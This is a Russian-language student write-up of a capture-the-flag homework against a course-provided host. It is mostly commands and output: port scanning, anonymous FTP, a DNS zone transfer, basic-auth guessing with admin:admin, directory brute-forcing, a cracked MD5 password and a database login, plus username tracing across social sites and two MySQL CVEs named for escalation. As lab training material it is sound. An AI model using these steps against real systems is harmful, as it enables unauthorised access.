Под катом - домашнее задание по первой лекции, выполненное командой Изостудия АРТ.
Состав команды:
- Кинеловский Никита
- Обухова Вероника
- Раковский Станислав
Куратор Тихомиров Никита
Задание
Пользуясь открытыми источниками и исследуя хост 52.57.6.38 найдите флаги.
Всего будет 4 флага, 2 из которых- на хосте и 2 в открытых источниках.
Флаг имеет следующий формат: flag{}
Правила: не портить инфру, не вводить в заблуждение остальных участников.
Ответ на домашнее задание сдается одно от команды и отправляется до 23:59 26 апреля сюда: @mntsth
Отчет по результатам ДЗ должен быть в PDF в формате и содержать подробное получение каждого флага.
p.s. Полезно будет ознакомиться с понятием virtual hosts
Ход решения
Открытые источники, первый флаг
Первый флаг был найден с использованием вебархива:
 
 
На одном из двух снимков был запечатлен флаг:
 
Открытые источники, второй флаг
На сайте, в отличие от снимков на wayback machine, в html есть комментарий:
<!-- Also well known as Dzaarg -->
Используя сервисы по проверке юзернейма, узнаем, что он зарегистрирован на нескольких сайтах:
 
 
Находим его на pastebin: https://pastebin.com/u/Dzaarg
 
 
Флаг: flag{w3llkn0wnn1ckname}
Находим его в instagram: https://www.instagram.com/Dzaarg/
 
Приватный аккаунт, подписан на одного человека. Вмешиваться не будем.
Находим его на pikabu: https://pikabu.ru/@Dzaarg
 
Флаг: flag{w3llkn0wnN1ckN4me}
Примечательно, что на pikabu отличается кейс букв.
FTP, третий флаг
Просканили nmap-ом сервер:
> nmap -sV -p- 52.57.6.38
...
Not shown: 65526 closed ports
PORT      STATE    SERVICE
22/tcp    open     ssh
25/tcp    filtered smtp
53/tcp    open     domain
80/tcp    open     http
443/tcp   open     https
465/tcp   filtered smtps
587/tcp   filtered submission
3306/tcp  open     mysql
40021/tcp open     unknown
Nmap done: 1 IP address (1 host up) scanned in 6829.23 seconds
Примечателен сервис на 40021 порту, возникает предположение о том, что это ftp на нестандартном порту. В таком случае мы сможем с помощью netcat получить баннер:
> nc 52.57.6.38 40021
220 (vsFTPd 3.0.3)
В действительности, это FTP-сервер. Подключаемся, смотрим:
> ftp 52.57.6.38 40021
Connected to 52.57.6.38.
220 (vsFTPd 3.0.3)
Name (52.57.6.38:user): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> pass
Passive mode on.
ftp> ls
227 Entering Passive Mode (52,57,6,38,234,193).
150 Here comes the directory listing.
dr-xr-xr-x    2 0        0            4096 Apr 19 13:46 ftparea
226 Directory send OK.
ftp> ls -la
227 Entering Passive Mode (52,57,6,38,234,166).
150 Here comes the directory listing.
drwxr-xr-x    3 0        115          4096 Apr 19 13:46 .
drwxr-xr-x    3 0        115          4096 Apr 19 13:46 ..
-rw-r--r--    1 0        0              21 Apr 19 13:46 .bash_history
-rw-r--r--    1 0        0             220 Apr 19 13:46 .bash_logout
-rw-r--r--    1 0        0            3809 Apr 19 13:48 .bashrc
-rw-r--r--    1 0        0             807 Apr 19 13:46 .profile
-rw-------    1 0        0             790 Apr 19 13:46 .viminfo
dr-xr-xr-x    2 0        0            4096 Apr 19 13:46 ftparea
226 Directory send OK.
ftp> cd ftparea
250 Directory successfully changed.
ftp> ls -la
227 Entering Passive Mode (52,57,6,38,234,135).
150 Here comes the directory listing.
dr-xr-xr-x    2 0        0            4096 Apr 19 13:46 .
drwxr-xr-x    3 0        115          4096 Apr 19 13:46 ..
-rw-r--r--    1 0        0              20 Apr 19 13:47 .secreto.txt
-rw-r--r--    1 0        0           10765 Apr 19 13:46 flag.jpg
-rw-r--r--    1 0        0           67488 Apr 19 13:46 maybeflag.jpg
-rw-r--r--    1 0        0              10 Apr 19 13:46 topsecret.txt
226 Directory send OK.
ftp> get .secreto.txt -
remote: .secreto.txt
227 Entering Passive Mode (52,57,6,38,234,172).
150 Opening BINARY mode data connection for .secreto.txt (20 bytes).
flag{4n0n1mUzz1337}
226 Transfer complete.
20 bytes received in 0.00 secs (23.5600 kB/s)
Получен еще один флаг: flag{4n0n1mUzz1337}
Также были изучены другие файлы, находящиеся на файловом сервере, среди них примечателен только ._bash_history:
.bash_history: givemefukinflag
База данных, четвертый флаг
На странице нам предлагают связаться по email [email protected] В задании сказано о virtual hosts, а на сервере открыт 53-й порт. Давайте попробуем выгрузить доменную зону trueoaz.infosec:
> dig AXFR trueoaz.infosec @52.57.6.38
 
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> AXFR trueoaz.infosec @52.57.6.38
;; global options: +cmd
trueoaz.infosec.        10      IN      SOA     ns1.trueoaz.infosec. ns2.trueoaz.infosec. 3 10800 3600 604800 604800
trueoaz.infosec.        10      IN      A       127.0.0.1
trueoaz.infosec.        10      IN      NS      ns1.trueoaz.infosec.
trueoaz.infosec.        10      IN      NS      ns2.trueoaz.infosec.
dsadddw.trueoaz.infosec. 10     IN      TXT     "Ti nafiga eto sdelal?"
kingleo.trueoaz.infosec. 10     IN      A       127.0.0.1
ns1.trueoaz.infosec.    10      IN      A       127.0.0.1
ns2.trueoaz.infosec.    10      IN      A       127.0.0.2
www.trueoaz.infosec.    10      IN      CNAME   trueoaz.infosec.
trueoaz.infosec.        10      IN      SOA     ns1.trueoaz.infosec. ns2.trueoaz.infosec. 3 10800 3600 604800 604800
;; Query time: 45 msec
;; SERVER: 52.57.6.38#53(52.57.6.38)
;; WHEN: Fri Apr 23 23:08:57 MSK 2021
;; XFR size: 10 records (messages 1, bytes 312)
MX-записи не видим, зато примечательны интересные TXT- и A-записи.
> wget --header="Host: kingleo.trueoaz.infosec" 52.57.6.38
--2021-04-23 23:15:27--  http://52.57.6.38/
Connecting to 52.57.6.38:80... connected.
HTTP request sent, awaiting response... 401 Unauthorized
 
Username/Password Authentication Failed.
Требуется аутентификация.
> wget --header="Host: kingleo.trueoaz.infosec" 52.57.6.38  --http-user=user --http-password=password
--2021-04-23 23:17:43--  http://52.57.6.38/
Connecting to 52.57.6.38:80... connected.
HTTP request sent, awaiting response... 401 Unauthorized
Authentication selected: Basic realm="are you admin?"
Reusing existing connection to 52.57.6.38:80.
HTTP request sent, awaiting response... 401 Unauthorized
 
Username/Password Authentication Failed.
С помощью атрибута realm нам подсказывают, что ожидается пользователь admin.
> wget --header="Host: kingleo.trueoaz.infosec" 52.57.6.38  --http-user=admin --http-password=admin
--2021-04-23 23:20:04--  http://52.57.6.38/
Connecting to 52.57.6.38:80... connected.
HTTP request sent, awaiting response... 401 Unauthorized
Authentication selected: Basic realm="are you admin?"
Reusing existing connection to 52.57.6.38:80.
HTTP request sent, awaiting response... 403 Forbidden
2021-04-23 23:20:04 ERROR 403: Forbidden.
Мы прошли аутентификацию, используя креды admin:admin, но теперь нам кидают 403 на корень сайта. Пройдемся dirsearch:
> dirsearch.py --auth=admin:admin -H 'Host: kingleo.trueoaz.infosec' -u 52.57.6.38
 
 _|. _ _  _  _  _ _|_    v0.4.1
(_||| _) (/_(_|| (_| )
 
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10877
 
Error Log: /root/dirsearch/logs/errors-21-04-23_20-23-30.log
 
Target: http://52.57.6.38/
 
Output File: /root/dirsearch/reports/52.57.6.38/_21-04-23_20-23-30.txt
 
[20:23:30] Starting:
[20:23:36] 200 -  109B  - /admin.html
 
Task Completed
Достанем файл:
> wget --header="Host: kingleo.trueoaz.infosec" --http-user=admin --http-password=admin 52.57.6.38/admin.html
--2021-04-23 20:25:34--  http://52.57.6.38/admin.html
Connecting to 52.57.6.38:80... connected.
HTTP request sent, awaiting response... 401 Unauthorized
Authentication selected: Basic realm="are you admin?"
Reusing existing connection to 52.57.6.38:80.
HTTP request sent, awaiting response... 200 OK
Length: 109 [text/html]
Saving to: ‘admin.html’
 
admin.html                             100%[============================================================================>]     109  --.-KB/s    in 0s
 
2021-04-23 20:25:34 (3.87 MB/s) - ‘admin.html’ saved [109/109]
Его содержимое:
<p>My method is supersecure</p>
<p>New year - new user</p>
<p>leo2018:8352269ae368edfeacfa7c1213c35015</p>
md5 нашлась в радужных таблицах: space1
Была предпринята попытка найти HTTP Method, который бы ответил на наш зов, но безуспешно.
Но потом тиммейт Ника включила своё божественное чутье и вспомнила о наличии открыто торчащей базы данных:
 
Флаг: flag{congr4tzzzz!}
Стоит добавить, что версия бд - MySQL 5.5.5, имеет известные эксплоиты на DoS, на повышение привилегий и RCE. Так как были найдены все 4 флага, считаем дальнейшие действия избыточными, так как можем нарушить целостность и доступность сервера, поэтому просто упомянем те уязвимости, эксплоиты для которых есть в свободном доступе и которые мы бы применили, если б не оставалось других вариантов:
- CVE-2016-6662 - повышение привилегий, RCE.
- CVE-2012-2122 - получение пар логин - хешированный пароль.
Итог
flag{ggwppoluchaetsya} - wayback machine
flag{w3llkn0wnN1ckN4me} и flag{w3llkn0wnn1ckname} - pikabu and pastebin (via namecheck services)
flag{4n0n1mUzz1337} - ftp
flag{congr4tzzzz!} - MySQL